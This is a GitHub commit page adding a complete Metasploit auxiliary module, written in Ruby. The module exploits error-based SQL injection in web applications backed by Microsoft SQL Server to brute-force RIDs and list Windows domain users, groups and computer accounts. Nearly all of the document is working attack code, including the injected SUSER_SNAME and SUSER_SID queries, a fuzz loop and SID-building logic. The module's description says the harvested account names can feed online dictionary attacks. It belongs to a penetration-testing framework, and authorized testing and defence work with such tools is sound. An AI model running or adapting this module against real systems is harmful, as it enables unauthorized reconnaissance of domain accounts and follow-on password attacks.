Skip to content

Commit 60a1ec2

Browse files
committed
Land rapid7#4261, @nullbind's MSSQL Domain Users enumeration through web sqli
2 parents 6e9666c + 5f4760c commit 60a1ec2

File tree

1 file changed

+219
-0
lines changed

1 file changed

+219
-0
lines changed
Lines changed: 219 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,219 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/mssql_commands'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::MSSQL_SQLI
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Microsoft SQL Server - SQLi SUSER_SNAME Domain Account Enumeration',
17+
'Description' => %q{
18+
This module can be used to brute force RIDs associated with the domain of the SQL Server
19+
using the SUSER_SNAME function via Error Based SQL injection. This is similar to the
20+
smb_lookupsid module, but executed through SQL Server queries as any user with the PUBLIC
21+
role (everyone). Information that can be enumerated includes Windows domain users, groups,
22+
and computer accounts. Enumerated accounts can then be used in online dictionary attacks.
23+
The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--
24+
},
25+
'Author' =>
26+
[
27+
'nullbind <scott.sutherland[at]netspi.com>',
28+
'antti <antti.rantasaari[at]netspi.com>'
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']]
32+
))
33+
34+
register_options(
35+
[
36+
OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 3000])
37+
], self.class)
38+
end
39+
40+
def run
41+
print_status("#{peer} - Grabbing the server and domain name...")
42+
db_server_name = get_server_name
43+
if db_server_name.nil?
44+
print_error("#{peer} - Unable to grab the server name")
45+
return
46+
else
47+
print_good("#{peer} - Server name: #{db_server_name}")
48+
end
49+
50+
db_domain_name = get_domain_name
51+
if db_domain_name.nil?
52+
print_error("#{peer} - Unable to grab domain name")
53+
return
54+
end
55+
56+
# Check if server is on a domain
57+
if db_server_name == db_domain_name
58+
print_error("#{peer} - The SQL Server does not appear to be part of a Windows domain")
59+
return
60+
else
61+
print_good("#{peer} - Domain name: #{db_domain_name}")
62+
end
63+
64+
print_status("#{peer} - Grabbing the SID for the domain...")
65+
windows_domain_sid = get_windows_domain_sid(db_domain_name)
66+
if windows_domain_sid.nil?
67+
print_error("#{peer} - Could not recover the SQL Server's domain sid.")
68+
return
69+
else
70+
print_good("#{peer} - Domain sid: #{windows_domain_sid}")
71+
end
72+
73+
# Get a list of windows users, groups, and computer accounts using SUSER_NAME()
74+
print_status("#{peer} - Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...")
75+
domain_users = get_win_domain_users(windows_domain_sid)
76+
if domain_users.nil?
77+
print_error("#{peer} - Sorry, no Windows domain accounts were found, or DC could not be contacted.")
78+
return
79+
end
80+
81+
# Print number of objects found and write to a file
82+
print_good("#{peer} - #{domain_users.length} user accounts, groups, and computer accounts were found.")
83+
84+
# Create table for report
85+
windows_domain_login_table = Rex::Ui::Text::Table.new(
86+
'Header' => 'Windows Domain Accounts',
87+
'Ident' => 1,
88+
'Columns' => ['name']
89+
)
90+
91+
# Add brute forced names to table
92+
domain_users.each do |object_name|
93+
windows_domain_login_table << [object_name]
94+
end
95+
96+
print_line(windows_domain_login_table.to_s)
97+
98+
# Create output file
99+
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_windows_domain_accounts.csv"
100+
path = store_loot(
101+
'mssql.domain.accounts',
102+
'text/plain',
103+
datastore['RHOST'],
104+
windows_domain_login_table.to_csv,
105+
filename,
106+
'SQL Server query results'
107+
)
108+
print_status("Query results have been saved to: #{path}")
109+
end
110+
111+
# Get the server name
112+
def get_server_name
113+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
114+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
115+
sql = "(select '#{clue_start}'+@@servername+'#{clue_end}')"
116+
117+
result = mssql_query(sql)
118+
119+
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
120+
instance_name = $1
121+
sql_server_name = instance_name.split('\\')[0]
122+
else
123+
sql_server_name = nil
124+
end
125+
126+
sql_server_name
127+
end
128+
129+
# Get the domain name of the SQL Server
130+
def get_domain_name
131+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
132+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
133+
sql = "(select '#{clue_start}'+DEFAULT_DOMAIN()+'#{clue_end}')"
134+
135+
result = mssql_query(sql)
136+
137+
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
138+
domain_name = $1
139+
else
140+
domain_name = nil
141+
end
142+
143+
domain_name
144+
end
145+
146+
# Get the SID for the domain
147+
def get_windows_domain_sid(db_domain_name)
148+
domain_group = "#{db_domain_name}\\Domain Admins"
149+
150+
clue_start = Rex::Text.rand_text_alpha(8)
151+
clue_end = Rex::Text.rand_text_alpha(8)
152+
153+
sql = "(select cast('#{clue_start}'+(select stuff(upper(sys.fn_varbintohexstr((SELECT SUSER_SID('#{domain_group}')))), 1, 2, ''))+'#{clue_end}' as int))"
154+
155+
result = mssql_query(sql)
156+
157+
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
158+
object_sid = $1
159+
domain_sid = object_sid[0..47]
160+
return nil if domain_sid.empty?
161+
else
162+
domain_sid = nil
163+
end
164+
165+
domain_sid
166+
end
167+
168+
# Get list of windows accounts, groups and computer accounts
169+
def get_win_domain_users(domain_sid)
170+
clue_start = Rex::Text.rand_text_alpha(8)
171+
clue_end = Rex::Text.rand_text_alpha(8)
172+
173+
windows_logins = []
174+
175+
# Fuzz the principal_id parameter (RID in this case) passed to the SUSER_NAME function
176+
(500..datastore['FuzzNum']).each do |principal_id|
177+
178+
if principal_id % 100 == 0
179+
print_status("#{peer} - Querying SID #{principal_id} of #{datastore['FuzzNum']}")
180+
end
181+
182+
user_sid = build_user_sid(domain_sid, principal_id)
183+
184+
# Return if sid does not resolve correctly for a domain
185+
if user_sid.length < 48
186+
return nil
187+
end
188+
189+
sql = "(SELECT '#{clue_start}'+(SELECT SUSER_SNAME(#{user_sid}) as name)+'#{clue_end}')"
190+
191+
result = mssql_query(sql)
192+
193+
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
194+
windows_login = $1
195+
196+
unless windows_login.empty? || windows_logins.include?(windows_login)
197+
windows_logins.push(windows_login)
198+
print_good("#{peer} - #{windows_login}")
199+
end
200+
end
201+
202+
end
203+
204+
windows_logins
205+
end
206+
207+
def build_user_sid(domain_sid, rid)
208+
# Convert number to hex and fix order
209+
principal_id = "%02X" % rid
210+
principal_id = principal_id.size.even? ? principal_id : "0#{principal_id}"
211+
principal_id = principal_id.scan(/(..)/).reverse.join
212+
# Add padding
213+
principal_id = principal_id.ljust(8, '0')
214+
215+
# Create full sid
216+
"0x#{domain_sid}#{principal_id}"
217+
end
218+
219+
end

0 commit comments

Comments
 (0)